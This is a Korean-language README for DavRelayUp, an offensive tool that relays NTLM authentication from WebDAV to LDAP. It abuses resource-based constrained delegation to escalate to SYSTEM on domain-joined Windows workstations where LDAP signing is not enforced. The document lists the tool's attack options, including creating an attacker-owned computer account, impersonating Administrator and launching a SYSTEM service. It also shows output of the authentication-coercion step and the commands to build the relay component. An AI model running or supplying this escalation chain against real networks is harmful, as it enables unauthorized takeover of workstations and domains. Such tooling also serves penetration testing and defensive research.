
WebDAV에서 LDAP으로 NTLM 인증을 릴레이하여 도메인에 가입된 Windows 워크스테이션에서 로컬 권한 상승을 SYSTEM으로 자동화하며, LDAP 서명 적용 없이 리소스 기반 제한 위임(RBCD)을 활용합니다.
다음 공격 프리미티브를 남용하기 위해 webdav에서 LDAP으로의 NTLM 릴레이를 허용하도록 수정한 KrbRelayUp의 빠르고 대충 만든 포트입니다.
이것은 LDAP 서명이 적용되지 않은(기본 설정) 도메인에 가입된 Windows 워크스테이션에서 본질적으로 보편적인 수정 불필요 로컬 권한 상승입니다.
DavRelayUp - 당신을 SYSTEM으로 다시 릴레이합니다...
Usage: DavRelayUp.exe [-c] [-cn COMPUTERNAME] [-cp PASSWORD | -ch NTHASH]
RBCD 옵션:
-c (--CreateNewComputerAccount) RBCD용 새 컴퓨터 계정을 생성합니다. 현재 인증된 사용자를 사용합니다.
-cn (--ComputerName) RBCD용 공격자가 소유한 컴퓨터 계정 이름입니다. (기본값=DAVRELAYUP$)
-cp (--ComputerPassword) RBCD용 컴퓨터 계정의 비밀번호입니다. (기본값=RANDOM [-c가 활성화된 경우])
-ch (--ComputerPasswordHash) RBCD용 컴퓨터 계정의 NT 해시 비밀번호입니다. (-cp 또는 -ch 중 하나를 지정해야 합니다.)
-i (--Impersonate) 가장할 사용자입니다. 대상 컴퓨터의 로컬 관리자여야 합니다. (기본값=Administrator)
KrbSCM 옵션:
-s (--ServiceName) 생성할 서비스의 이름입니다. (기본값=KrbSCM)
-sc (--ServiceCommand) 서비스 명령 [binPath]입니다. (기본값 = cmd.exe를 SYSTEM으로 실행)
일반 옵션:
-p (--Port) WebDAV 서버 포트입니다 (기본값=55555)
-d (--Domain) 도메인의 FQDN입니다. (선택 사항)
-dc (--DomainController) 도메인 컨트롤러의 FQDN입니다. (선택 사항)
-ssl LDAP over SSL을 사용합니다. (선택 사항)
-n ST 가져오기 시 PTT 대신 CreateNetOnly(디스크에 있어야 함)를 사용합니다. (선택 사항)
-v (--Verbose) 상세 출력을 표시합니다. (선택 사항)
-h (--Help) 도움말을 표시합니다.
DavRelayUp이 다음 단계 중 하나에서 멈출 경우, [-p] 플래그를 사용하여 다른 포트를 시도해 보세요.
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
DavRelayUp - Relaying you to SYSTEM, again...
[+] WebClient Service started successfully
[+] Starting Relay Server on Port 55555
[+] Coercing System Authentication
[+] WebDAV Request: No Authorization header
[+] WebDAV Response: Sending 401 Unauthorized with "WWW-Authenticate: NTLM" header
https://github.com/Dec0ne/DavRelayUp/assets/54464773/4e791e8b-783c-48d3-b46b-8b22e2661ea1

PS C:\Tools\DavRelayUp> cd GoRelayServer
PS C:\Tools\DavRelayUp\GoRelayServer> go build --buildmode=c-shared -ldflags="-s -w" -o "../DavRelayUp/Costura64/GoRelayServer.dll" main.go